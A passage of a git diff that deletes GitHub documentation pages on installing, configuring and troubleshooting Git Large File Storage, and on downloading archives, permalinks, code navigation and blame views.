variables.large_files.product_name_short %}. - - For example, to associate a _.psd_ file, enter the following command: - - ```shell - $ git {% data variables.large_files.command_name %} track "*.psd" - > Tracking "*.psd" - ``` - - Every file type you want to associate with {% data variables.large_files.product_name_short %} will need to be added with `git {% data variables.large_files.command_name %} track`. This command amends your repository's _.gitattributes_ file and associates large files with {% data variables.large_files.product_name_short %}. - - > [!NOTE] - > We strongly suggest that you commit your local _.gitattributes_ file into your repository. - > - > * Relying on a global _.gitattributes_ file associated with {% data variables.large_files.product_name_short %} may cause conflicts when contributing to other Git projects. - > * Including the _.gitattributes_ file in the repository allows people creating forks or fresh clones to more easily collaborate using {% data variables.large_files.product_name_short %}. - > * Including the _.gitattributes_ file in the repository allows {% data variables.large_files.product_name_short %} objects to optionally be included in ZIP file and tarball archives. - -1. Add a file to the repository matching the extension you've associated: - - ```shell - git add path/to/file.psd - ``` - -1. Commit the file and push it to {% data variables.product.github %}: - - ```shell - git commit -m "add file.psd" - git push - ``` - - You should see some diagnostic information about your file upload: - - ```shell - > Sending file.psd - > 44.74 MB / 81.04 MB 55.21 % 14s - > 64.74 MB / 81.04 MB 79.21 % 3s - ``` - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage){% ifversion fpt or ghec %} -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository){% endif %} diff --git a/content/repositories/working-with-files/managing-large-files/index.md b/content/repositories/working-with-files/managing-large-files/index.md deleted file mode 100644 index 478de371ece8..000000000000 --- a/content/repositories/working-with-files/managing-large-files/index.md +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Managing large files -intro: You can manage large files with Git Large File Storage. -redirect_from: - - /categories/managing-large-files - - /github/managing-large-files - - /articles/versioning-large-files - - /github/managing-large-files/versioning-large-files - - /articles/working-with-large-files - - /github/managing-large-files/working-with-large-files -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /about-large-files-on-github - - /about-git-large-file-storage - - /installing-git-large-file-storage - - /configuring-git-large-file-storage - - /about-storage-and-bandwidth-usage - - /collaboration-with-git-large-file-storage - - /moving-a-file-in-your-repository-to-git-large-file-storage - - /removing-files-from-git-large-file-storage - - /resolving-git-large-file-storage-upload-failures ---- - diff --git a/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md b/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md deleted file mode 100644 index cb6b81833163..000000000000 --- a/content/repositories/working-with-files/managing-large-files/installing-git-large-file-storage.md +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Installing Git Large File Storage -intro: 'In order to use {% data variables.large_files.product_name_short %}, you''ll need to download and install a new program that''s separate from Git.' -redirect_from: - - /articles/installing-large-file-storage - - /articles/installing-git-large-file-storage - - /github/managing-large-files/installing-git-large-file-storage - - /github/managing-large-files/versioning-large-files/installing-git-large-file-storage -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Install Git LFS ---- -{% mac %} - -1. Navigate to [git-lfs.com](https://git-lfs.com) and click **Download**. Alternatively, you can install {% data variables.large_files.product_name_short %} using a package manager: - * To use [Homebrew](https://brew.sh/), run `brew install git-lfs`. - * To use [MacPorts](https://www.macports.org/), run `port install git-lfs`. - - If you install {% data variables.large_files.product_name_short %} with Homebrew or MacPorts, skip to step six. - -1. On your computer, locate and unzip the downloaded file. -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Change the current working directory into the folder you downloaded and unzipped. - - ```shell - cd ~/Downloads/git-lfs-1.X.X - ``` - - > [!NOTE] - > The file path you use after `cd` depends on your operating system, Git LFS version you downloaded, and where you saved the {% data variables.large_files.product_name_short %} download. - -1. To install the file, run this command: - - ```shell - $ ./install.sh - > {% data variables.large_files.product_name_short %} initialized. - ``` - - > [!NOTE] - > You may have to use `sudo ./install.sh` to install the file. - -1. Next, make required changes to your global Git config: - - ```shell - $ git {% data variables.large_files.command_name %} install - > {% data variables.large_files.product_name_short %} initialized. - ``` - -1. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system. - -{% endmac %} - -{% windows %} - -1. Navigate to [git-lfs.com](https://git-lfs.com) and click **Download**. - - > [!TIP] - > For more information about alternative ways to install {% data variables.large_files.product_name_short %} for Windows, see this [Getting started guide](https://github.com/github/git-lfs#getting-started). - -1. On your computer, locate the downloaded file. -1. Double click on the file called _git-lfs-windows-1.X.X.exe_, where 1.X.X is replaced with the Git LFS version you downloaded. When you open this file Windows will run a setup wizard to install {% data variables.large_files.product_name_short %}. -{% data reusables.command_line.open_the_multi_os_terminal %} As the setup wizard may have modified your system `PATH`, opening a new session will ensure Git can locate Git LFS. -1. Verify that the installation was successful: - - ```shell - $ git {% data variables.large_files.command_name %} install - > {% data variables.large_files.product_name_short %} initialized. - ``` - -1. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system. - -{% endwindows %} - -{% linux %} - -1. Navigate to [git-lfs.com](https://git-lfs.com) and click **Download**. - - > [!TIP] - > For more information about alternative ways to install {% data variables.large_files.product_name_short %} for Linux, see this [Getting started guide](https://github.com/github/git-lfs#getting-started). - -1. On your computer, locate and unzip the downloaded file. -{% data reusables.command_line.open_the_multi_os_terminal %} -1. Change the current working directory into the folder you downloaded and unzipped. - - ```shell - cd ~/Downloads/git-lfs-1.X.X - ``` - - > [!NOTE] - > The file path you use after `cd` depends on your operating system, Git LFS version you downloaded, and where you saved the {% data variables.large_files.product_name_short %} download. - -1. To install the file, run this command: - - ```shell - $ ./install.sh - > {% data variables.large_files.product_name_short %} initialized. - ``` - - > [!NOTE] - > You may have to use `sudo ./install.sh` to install the file. - -1. Next, make required changes to your global Git config: - - ```shell - $ git {% data variables.large_files.command_name %} install - > {% data variables.large_files.product_name_short %} initialized. - ``` - -1. If you don't see a message indicating that `git {% data variables.large_files.command_name %} install` was successful, please contact {% data variables.contact.contact_support %}. Be sure to include the name of your operating system. - -{% endlinux %} - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage) diff --git a/content/repositories/working-with-files/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage.md b/content/repositories/working-with-files/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage.md deleted file mode 100644 index 1816ad4a63d7..000000000000 --- a/content/repositories/working-with-files/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage.md +++ /dev/null @@ -1,28 +0,0 @@ ---- -title: Moving a file in your repository to Git Large File Storage -intro: 'If you''ve set up {% data variables.large_files.product_name_short %}, and you have an existing file in your repository that needs to be tracked in {% data variables.large_files.product_name_short %}, you need to first remove it from your repository.' -redirect_from: - - /articles/moving-a-file-in-your-repository-to-git-large-file-storage - - /github/managing-large-files/moving-a-file-in-your-repository-to-git-large-file-storage - - /github/managing-large-files/versioning-large-files/moving-a-file-in-your-repository-to-git-large-file-storage -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Move a file to Git LFS ---- -After installing {% data variables.large_files.product_name_short %} and configuring {% data variables.large_files.product_name_short %} tracking, you can move files from Git's regular tracking to {% data variables.large_files.product_name_short %}. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/installing-git-large-file-storage) and [AUTOTITLE](/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage). - -{% data reusables.large_files.resolving-upload-failures %} - -> [!TIP] -> If you get an error that "this exceeds {% data variables.large_files.product_name_short %}'s file size limit of {% data variables.large_files.max_github_size %}" when you try to push files to Git, you can use `git lfs migrate` instead of `filter-repo`, to move the large file to {% data variables.large_files.product_name_long %}. For more information about the `git lfs migrate` command, see the [Git LFS 2.2.0](https://github.com/blog/2384-git-lfs-2-2-0-released) release announcement. - -1. Remove the file from the repository's Git history using the `filter-repo` command. For detailed information on using these, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository). -1. Configure tracking for your file and push it to {% data variables.large_files.product_name_short %}. For more information on this procedure, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage). - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-git-large-file-storage) -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage) -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/installing-git-large-file-storage) diff --git a/content/repositories/working-with-files/managing-large-files/removing-files-from-git-large-file-storage.md b/content/repositories/working-with-files/managing-large-files/removing-files-from-git-large-file-storage.md deleted file mode 100644 index 07399fd12279..000000000000 --- a/content/repositories/working-with-files/managing-large-files/removing-files-from-git-large-file-storage.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Removing files from Git Large File Storage -intro: 'If you''ve set up {% data variables.large_files.product_name_short %} for your repository, you can remove all files or a subset of files from {% data variables.large_files.product_name_short %}.' -redirect_from: - - /articles/removing-files-from-git-large-file-storage - - /github/managing-large-files/removing-files-from-git-large-file-storage - - /github/managing-large-files/versioning-large-files/removing-files-from-git-large-file-storage -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Remove files ---- -## Removing a single file - -1. Remove the file from the repository's Git history using the `filter-repo` command. For detailed information on using these, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository). -1. Navigate to your _.gitattributes_ file. - - > [!NOTE] - > Your _.gitattributes_ file is generally saved within your local repository. In some cases, you may have created a global _.gitattributes_ file that contains all of your {% data variables.large_files.product_name_short %} associations. - -1. Find and remove the associated {% data variables.large_files.product_name_short %} tracking rule within the _.gitattributes_ file. -1. Save and exit the _.gitattributes_ file. - -## Removing all files within a {% data variables.large_files.product_name_short %} repository - -1. Remove the files from the repository's Git history using the `filter-repo` command. For detailed information on using these, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/removing-sensitive-data-from-a-repository). -1. Optionally, to uninstall {% data variables.large_files.product_name_short %} in the repository, run: - - ```shell - git lfs uninstall - ``` - - For {% data variables.large_files.product_name_short %} versions below 1.1.0, run: - - ```shell - git lfs uninit - ``` - -## {% data variables.large_files.product_name_short %} objects in your repository - -After you remove files from {% data variables.large_files.product_name_short %}, the {% data variables.large_files.product_name_short %} objects still exist on the remote storage{% ifversion fpt or ghec %} and will continue to count toward your {% data variables.large_files.product_name_short %} storage quota{% endif %}. - -To remove {% data variables.large_files.product_name_short %} objects from a repository, {% ifversion fpt or ghec %}delete and recreate the repository. When you delete a repository, any associated issues, stars, and forks are also deleted. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/deleting-a-repository). If you need to purge a removed object and you are unable to delete the repository, please [contact support](/support) for help.{% else %}contact your {% data variables.product.prodname_enterprise %} administrator to archive the objects. Archived objects are purged after three months.{% endif %} - -> [!NOTE] -> If you removed a single file and have other {% data variables.large_files.product_name_short %} objects that you'd like to keep in your repository, after deleting and recreating your repository, reconfigure your {% data variables.large_files.product_name_short %}-associated files. For more information, see [Removing a single file](#removing-a-single-file) and [AUTOTITLE](/repositories/working-with-files/managing-large-files/configuring-git-large-file-storage). - -## Further reading - -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-git-large-file-storage) -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/collaboration-with-git-large-file-storage) -* [AUTOTITLE](/repositories/working-with-files/managing-large-files/installing-git-large-file-storage) diff --git a/content/repositories/working-with-files/managing-large-files/resolving-git-large-file-storage-upload-failures.md b/content/repositories/working-with-files/managing-large-files/resolving-git-large-file-storage-upload-failures.md deleted file mode 100644 index 6194411f6f5c..000000000000 --- a/content/repositories/working-with-files/managing-large-files/resolving-git-large-file-storage-upload-failures.md +++ /dev/null @@ -1,29 +0,0 @@ ---- -title: Resolving Git Large File Storage upload failures -intro: 'If your {% data variables.large_files.product_name_short %} files didn''t upload properly, you can take several steps to troubleshoot the upload error.' -redirect_from: - - /articles/resolving-git-large-file-storage-upload-failures - - /github/managing-large-files/resolving-git-large-file-storage-upload-failures - - /github/managing-large-files/versioning-large-files/resolving-git-large-file-storage-upload-failures -versions: - fpt: '*' - ghes: '*' - ghec: '*' -shortTitle: Resolve upload failures ---- -The {% data variables.large_files.product_name_short %} integrity check ensures that all referenced {% data variables.large_files.product_name_short %} files in a push have been uploaded properly. If the check detects referenced files that have not been uploaded, you will receive an error message and your push will be blocked. - -To resolve the error message, you must reinstall your local {% data variables.large_files.product_name_short %} client to ensure that the referenced {% data variables.large_files.product_name_short %} files can be properly uploaded in the future. - -1. Open Terminal. -1. Reinstall {% data variables.large_files.product_name_short %}. - - ```shell - git lfs install - ``` - -1. Push all referenced {% data variables.large_files.product_name_short %} files. - - ```shell - git lfs push --all origin - ``` diff --git a/content/repositories/working-with-files/using-files/downloading-source-code-archives.md b/content/repositories/working-with-files/using-files/downloading-source-code-archives.md deleted file mode 100644 index 70eacf63d77f..000000000000 --- a/content/repositories/working-with-files/using-files/downloading-source-code-archives.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Downloading source code archives -intro: 'You can download a snapshot of the code in your repository.' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Source code archives ---- -## Overview of source code archives - -You can download a snapshot of any branch, tag, or specific commit from {% data variables.product.prodname_dotcom %}. These snapshots are generated by the [`git archive` command](https://git-scm.com/docs/git-archive) in one of two formats: tarball or zipball. Snapshots don't contain the entire repository history. If you want the entire history, you can clone the repository. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). - -## Downloading source code archives - -You can download the source code archives in three ways. - -### Downloading source code archives from the repository view - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.click-code-dropdown %} -{% data reusables.repositories.download-zip %} - -### Downloading source code archives from a release - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -1. Scroll down to the "Assets" section of the release. -1. To download the source code, click **{% octicon "file-zip" aria-hidden="true" %} Source code (zip)** or **{% octicon "file-zip" aria-hidden="true" %} Source code (tar.gz)**. - -### Downloading source code archives from a tag - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.releases %} -1. At the top of the Releases page, click **Tags**. -1. To download the source code, click **{% octicon "file-zip" aria-hidden="true" %} zip** or **{% octicon "file-zip" aria-hidden="true" %} tar.gz**. - - ![Screenshot of the "Tags" page of a repository. The zip and tar.gz options are outlined in dark orange.](/assets/images/help/repository/tags-download-zip-targz.png) - -## Source code archive URLs - -Source code archives are available at specific URLs for each repository. For example, consider the repository `github/codeql`. There are different URLs for downloading a branch, a tag, or a specific commit ID. - -| Type of archive | Example | URL | -|-----------------|---------|---------| -| Branch | `main` | [https://github.com/github/codeql/archive/refs/**heads/main**.tar.gz](https://github.com/github/codeql/archive/refs/heads/main.tar.gz) | -| Tag | `codeql-cli/v2.12.0` | [https://github.com/github/codeql/archive/refs/**tags/codeql-cli/v2.12.0**.zip](https://github.com/github/codeql/archive/refs/tags/codeql-cli/v2.12.0.zip) | -| Commit | `aef66c4` | [https://github.com/github/codeql/archive/**aef66c462abe817e33aad91d97aa782a1e2ad2c7**.zip](https://github.com/github/codeql/archive/aef66c462abe817e33aad91d97aa782a1e2ad2c7.zip) | - -> [!NOTE] -> You can use either `.zip` or `.tar.gz` in the URLs above to request a zipball or tarball respectively. - -## Stability of source code archives - -Source code archives are generated on request, cached for a while, and then deleted. If the same archive is requested again in the future, it'll be regenerated. It's important to understand what guarantees {% data variables.product.company_short %} makes about source code archives. - -* An archive of a commit ID will always have the same file contents whenever it's requested, assuming the commit ID is still in the repository and the repository's name has not changed. -* Because branches and tags can move to different commit IDs, future downloads of an archive may have different contents than previously downloaded archives of the same branch or tag. Assuming the branch or tag still points at the same commit ID, it will have the same file contents. -* The exact compression settings used to generate a zipball or tarball may change over time. The extracted contents won't change if the branch or tag doesn't change, but the outer compressed archive may have a different byte layout. {% data variables.product.company_short %} will give at least six months' notice before changing compression settings. -* The name of the repository is part of the directory structure inside the archive. Therefore, if the repository name changes, the root directory name will change as well. - -If you rely on stability of source code archives for reproducibility (ensuring you always get identical files inside the archive), we recommend using the [archives REST API](/rest/repos/contents#download-a-repository-archive-tar) with a commit ID for `:ref`. Using the commit ID ensures you'll always get the same file contents inside the archive and you’ll be immune to repositories rewriting tags or moving branch heads. - -If you rely on stability of archives for security (for example: to ensure you don't attempt to unzip a maliciously-crafted file), we recommend using releases instead of using source downloads. For more information, see [AUTOTITLE](/repositories/releasing-projects-on-github/about-releases). - -You can use something like [this third-party {% data variables.product.company_short %} action](https://github.com/softprops/action-gh-release) to create and push these files as part of your release process. The [Release Assets REST API](/rest/releases/assets#get-a-release-asset) can later be used to retrieve them. diff --git a/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md b/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md deleted file mode 100644 index 415b89842715..000000000000 --- a/content/repositories/working-with-files/using-files/getting-permanent-links-to-files.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Getting permanent links to files -intro: 'When viewing a file on {% data variables.product.prodname_dotcom %}, you can press the "y" key to update the URL to a permalink to the exact version of the file you see.' -redirect_from: - - /articles/getting-a-permanent-link-to-a-file - - /articles/how-do-i-get-a-permanent-link-from-file-view-to-permanent-blob-url - - /articles/getting-permanent-links-to-files - - /github/managing-files-in-a-repository/getting-permanent-links-to-files - - /github/managing-files-in-a-repository/managing-files-on-github/getting-permanent-links-to-files -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Permanent links to files ---- - -> [!TIP] -> Press "?" on any page in {% data variables.product.github %} to see all available keyboard shortcuts. - -## File views show the latest version on a branch - -When viewing a file on {% data variables.product.prodname_dotcom %}, you usually see the version at the current head of a branch. For example: - -* [https://github.com/github/codeql/blob/**main**/README.md](https://github.com/github/codeql/blob/main/README.md) - -refers to GitHub's `codeql` repository, and shows the `main` branch's current version of the `README.md` file. - -The version of a file at the head of branch can change as new commits are made, so if you were to copy the normal URL, the file contents might not be the same when someone looks at it later. - -## Press Y to permalink to a file in a specific commit - -For a permanent link to the specific version of a file that you see, instead of using a branch name in the URL (i.e. the `main` part in the example above), put a commit ID. This will permanently link to the exact version of the file in that commit. For example: - -* [https://github.com/github/codeql/blob/**b212af08a6cffbb434f3c8a2795a579e092792fd**/README.md](https://github.com/github/codeql/blob/b212af08a6cffbb434f3c8a2795a579e092792fd/README.md) - -replaces `main` with a specific commit ID and the file content will not change. - -Looking up the commit SHA by hand is inconvenient, however, so as a shortcut you can type y to automatically update the URL to the permalink version. Then you can copy the URL knowing that anyone you share it with will see exactly what you saw. - -> [!TIP] -> You can put any identifier that can be resolved to a commit in the URL, including branch names, specific commit SHAs, or tags! - -## Creating a permanent link to a code snippet - -You can create a permanent link to a specific line or range of lines of code in a specific version of a file or pull request. For more information, see [AUTOTITLE](/get-started/writing-on-github/working-with-advanced-formatting/creating-a-permanent-link-to-a-code-snippet). - -## Further reading - -* [AUTOTITLE](/repositories/archiving-a-github-repository) diff --git a/content/repositories/working-with-files/using-files/index.md b/content/repositories/working-with-files/using-files/index.md deleted file mode 100644 index 0d1726ad2cbe..000000000000 --- a/content/repositories/working-with-files/using-files/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Using files -intro: You can navigate and track changes in the code in your files. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -children: - - /navigating-code-on-github - - /viewing-and-understanding-files - - /getting-permanent-links-to-files - - /downloading-source-code-archives - - /working-with-non-code-files ---- diff --git a/content/repositories/working-with-files/using-files/navigating-code-on-github.md b/content/repositories/working-with-files/using-files/navigating-code-on-github.md deleted file mode 100644 index a129d1989a0a..000000000000 --- a/content/repositories/working-with-files/using-files/navigating-code-on-github.md +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: Navigating code on GitHub -intro: 'You can understand the relationships within and across repositories by navigating code directly in {% data variables.product.github %}.' -redirect_from: - - /articles/navigating-code-on-github - - /github/managing-files-in-a-repository/navigating-code-on-github - - /github/managing-files-in-a-repository/managing-files-on-github/navigating-code-on-github -versions: - fpt: '*' - ghec: '*' -topics: - - Repositories ---- - - -## About navigating code on {% data variables.product.prodname_dotcom %} - -Code navigation helps you to read, navigate, and understand code by showing and linking definitions of a named entity corresponding to a reference to that entity, as well as references corresponding to an entity's definition. - -![Screenshot showing a file with a function highlighted. A pop-up has information about the function on two tabs: "Definition" and "Reference".](/assets/images/help/repository/code-navigation-popover.png) - -Code navigation uses the open source [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) library. The following languages support code navigation. - -{% data reusables.search.code-nav-supported-languages %} - -You do not need to configure anything in your repository to enable code navigation. We will automatically extract code navigation information for these supported languages in all repositories. - -{% data variables.product.prodname_dotcom %} has developed a code navigation approach based on the open source [`tree-sitter`](https://github.com/tree-sitter/tree-sitter) library that searches all definitions and references across a repository to find entities with a given name. - -{% ifversion code-view-ui %}You can use keyboard shortcuts to navigate within a code file. For more information, see [AUTOTITLE](/get-started/accessibility/keyboard-shortcuts#navigating-within-code-files).{% endif %} - -{% ifversion code-search-upgrade %} - -## Using the symbols pane - -You can now quickly view and navigate between symbols such as functions or classes in your code with the symbols pane. You can search for a symbol in a single file, in all files in a repository, or even in all public repositories on {% data variables.product.prodname_dotcom %}. - -Symbol search is a feature of code search. For more information, see [AUTOTITLE](/search-github/github-code-search/understanding-github-code-search-syntax#symbol-qualifier). - -1. Select a repository, then navigate to a file containing symbols. -1. To bring up the symbols pane, above the file content, click {% octicon "code-square" aria-label="The code square icon" %}. - - Alternatively, you can open the symbols pane by clicking an eligible symbol in your file. Clickable symbols are highlighted in yellow when you hover over them. - -1. Click the symbol you would like to find from the symbols pane or within the file itself. - - * To search for a symbol in the repository as a whole, in the symbols pane, click **Search for this symbol in this repository**. To search for a symbol in all repositories on {% data variables.product.prodname_dotcom %}, click **all repositories**. - -1. To navigate between references to a symbol, click {% octicon "chevron-down" aria-label="The downwards-facing chevron icon" %} or {% octicon "chevron-up" aria-label="The upwards-facing chevron icon" %}. -1. To navigate to a specific reference to a symbol, click a result of the symbol search under **{% octicon "chevron-down" aria-hidden="true" %} In this file**. -1. To exit the search for a specific symbol, click **{% octicon "arrow-left" aria-hidden="true" %} All Symbols**. -{% endif %} - -## Jumping to the definition of a function or method - -You can jump to a function or method's definition within the same repository by clicking the function or method call in a file. - -![Screenshot of the function window. A section, titled "Definition," is outlined in dark orange.](/assets/images/help/repository/jump-to-definition-tab.png) - -## Finding all references of a function or method - -You can find all references for a function or method within the same repository by clicking the function or method call in a file. - -![Screenshot of the function window. A section, titled "3 References," is outlined in dark orange.](/assets/images/help/repository/find-all-references-tab.png) - -## Troubleshooting code navigation - -If code navigation is enabled for you but you don't see links to the definitions of functions and methods: -* Code navigation only works for active branches. Push to the branch and try again. -* Code navigation only works for repositories with fewer than 100,000 files. - -## Further reading - -* [AUTOTITLE]{% ifversion code-search-upgrade %}(/search-github/github-code-search/about-github-code-search){% else %}(/search-github/searching-on-github/searching-code){% endif %} diff --git a/content/repositories/working-with-files/using-files/viewing-and-understanding-files.md b/content/repositories/working-with-files/using-files/viewing-and-understanding-files.md deleted file mode 100644 index ba650626cdf4..000000000000 --- a/content/repositories/working-with-files/using-files/viewing-and-understanding-files.md +++ /dev/null @@ -1,118 +0,0 @@ ---- -title: Viewing and understanding files -intro: Explore file content and trace changes over time to understand a new codebase and its evolution. -redirect_from: - - /articles/using-git-blame-to-trace-changes-in-a-file - - /articles/tracing-changes-in-a-file - - /articles/tracking-changes-in-a-file - - /github/managing-files-in-a-repository/tracking-changes-in-a-file - - /github/managing-files-in-a-repository/managing-files-on-github/tracking-changes-in-a-file - - /repositories/working-with-files/using-files/tracking-changes-in-a-file - - /repositories/working-with-files/using-files/viewing-a-file -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: View and understand files ---- - -{% data variables.product.github %} provides tools to view raw content, trace changes to specific lines, and explore how a file’s content has evolved over time. These insights reveal how code was developed, its current purpose, and its structure, helping you contribute effectively. - -## Viewing or copying the raw file content - -With the raw view, you can view or copy the raw content of a file without any styling. - -{% data reusables.repositories.navigate-to-repo %} -1. Click the file that you want to view. -1. In the upper-right corner of the file view, click **Raw**. -{% ifversion code-view-ui %} - - ![Screenshot of a file. In the header, a button, labeled "Raw," outlined in dark orange.](/assets/images/help/repository/raw-file-button.png) -{% else %} - - ![Screenshot of a file. In the header, a button, labeled "Raw," outlined in dark orange.](/assets/images/enterprise/repository/raw-file-button.png) -{% endif %} -1. Optionally, to copy the raw file content, in the upper-right corner of the file view, click **{% octicon "copy" aria-label="Copy raw content" %}**. {% ifversion code-view-ui %} To download the raw file, click **{% octicon "download" aria-label="Download raw file" %}**.{% endif %} - -## Viewing the line-by-line revision history for a file - -Within the blame view, you can view the line-by-line revision history for an entire file. - -> [!TIP] -> On the command line, you can also use `git blame` to view the revision history of lines within a file. For more information, see [Git's `git blame` documentation](https://git-scm.com/docs/git-blame). - -{% data reusables.repositories.navigate-to-repo %} -1. Click to open the file whose line history you want to view. -{% ifversion code-view-ui %} -1. Above the file content, click **Blame**. This view gives you a line-by-line revision history, with the code in a file separated by commit. Each commit lists the author, commit description, and commit date. -1. To see versions of a file before a particular commit, click {% octicon "versions" aria-label="View blame prior to this change" %}. Alternatively, to see more detail about a particular commit, click the commit message. - - ![Screenshot of a commit in the blame view. The commit message and versions icon are outlined in dark orange.](/assets/images/help/repository/code-view-blame-commit-options.png) - -1. To return to the raw code view, above the file content, click **Code**. - * If you are viewing a Markdown file, above the file content, you can also click **Preview** to return to the view with Markdown formatting applied. -{% else %} -1. In the upper-right corner of the file view, click **Blame** to open the blame view. - - ![Screenshot showing the header for a file. The "Blame" button is outlined in dark orange.](/assets/images/enterprise/repository/blame-button.png) -1. To see earlier revisions of a specific line, or reblame, click {% octicon "versions" aria-label="View blame prior to this change" %} until you've found the changes you're interested in viewing. - - ![Screenshot of the "Blame" view of a file. To the right of a commit message, the versions icon is outlined in dark orange.](/assets/images/enterprise/repository/git-blame.png) -{% endif %} - -## Ignore commits in the blame view - -All revisions specified in the `.git-blame-ignore-revs` file, which must be in the root directory of your repository, are hidden from the blame view using Git's `git blame --ignore-revs-file` configuration setting. For more information, see [`git blame --ignore-revs-file`](https://git-scm.com/docs/git-blame#Documentation/git-blame.txt---ignore-revs-fileltfilegt) in the Git documentation. - -1. In the root directory of your repository, create a file named `.git-blame-ignore-revs`. -1. Add the commit hashes you want to exclude from the blame view to that file. We recommend the file to be structured as follows, including comments: - - ```shell - # .git-blame-ignore-revs - # Removed semi-colons from the entire codebase - a8940f7fbddf7fad9d7d50014d4e8d46baf30592 - # Converted all JavaScript to TypeScript - 69d029cec8337c616552756310748c4a507bd75a - ``` - -1. Commit and push the changes. - -Now when you visit the blame view, the listed revisions will not be included in the blame. You'll see an **Ignoring revisions in .git-blame-ignore-revs** banner indicating that some commits may be hidden: - - - -{% ifversion fpt or ghec %} -![Screenshot of the blame view for a file. The blue "Ignoring revisions" banner includes a link to ".git-blame-ignore-revs" which is outlined in orange.](/assets/images/help/repository/blame-ignore-revs-file.png) -{% else %} -![Screenshot of the blame view for a file. The blue "Ignoring revisions" banner includes a link to ".git-blame-ignore-revs" which is outlined in orange.](/assets/images/enterprise/repository/blame-ignore-revs-file.png) -{% endif %} - -This can be useful when a few commits make extensive changes to your code. You can use the file when running `git blame` locally as well: - -```shell -git blame --ignore-revs-file .git-blame-ignore-revs -``` - -You can also configure your local git so it always ignores the revs in that file: - -```shell -git config blame.ignoreRevsFile .git-blame-ignore-revs -``` - -## Bypassing `.git-blame-ignore-revs` in the blame view - -If the blame view for a file shows **Ignoring revisions in .git-blame-ignore-revs**, you can still bypass `.git-blame-ignore-revs` and see the normal blame view. In the URL, append a `~` to the SHA and the **Ignoring revisions in .git-blame-ignore-revs** banner will disappear. - -{% ifversion copilot %} - -## Understanding files with {% data variables.product.prodname_copilot_short %} - -> [!NOTE] {% data reusables.copilot.copilot-requires-subscription %} - -You can also use {% data variables.product.prodname_copilot_short %} to ask about specific lines of code in a file, helping you understand how the code works and reducing the risk of introducing new problems. - -{% data reusables.copilot.chat-about-specific-lines %} - -{% endif %} diff --git a/content/repositories/working-with-files/using-files/working-with-non-code-files.md b/content/repositories/working-with-files/using-files/working-with-non-code-files.md deleted file mode 100644 index f46a8702174b..000000000000 --- a/content/repositories/working-with-files/using-files/working-with-non-code-files.md +++ /dev/null @@ -1,346 +0,0 @@ ---- -title: Working with non-code files -intro: '{% data variables.product.github %} supports rendering and diffing in a number of non-code file formats.' -redirect_from: - - /articles/rendering-and-diffing-images - - /github/managing-files-in-a-repository/rendering-and-diffing-images - - /github/managing-files-in-a-repository/working-with-non-code-files/rendering-and-diffing-images - - /articles/stl-file-viewer - - /articles/3d-file-viewer - - /github/managing-files-in-a-repository/3d-file-viewer - - /github/managing-files-in-a-repository/working-with-non-code-files/3d-file-viewer - - /articles/rendering-csv-and-tsv-data - - /github/managing-files-in-a-repository/rendering-csv-and-tsv-data - - /github/managing-files-in-a-repository/working-with-non-code-files/rendering-csv-and-tsv-data - - /articles/rendering-pdf-documents - - /github/managing-files-in-a-repository/rendering-pdf-documents - - /github/managing-files-in-a-repository/working-with-non-code-files/rendering-pdf-documents - - /articles/rendering-differences-in-prose-documents - - /github/managing-files-in-a-repository/rendering-differences-in-prose-documents - - /github/managing-files-in-a-repository/working-with-non-code-files/rendering-differences-in-prose-documents - - /articles/mapping-geojson-files-on-github - - /github/managing-files-in-a-repository/mapping-geojson-files-on-github - - /github/managing-files-in-a-repository/working-with-non-code-files/mapping-geojson-files-on-github - - 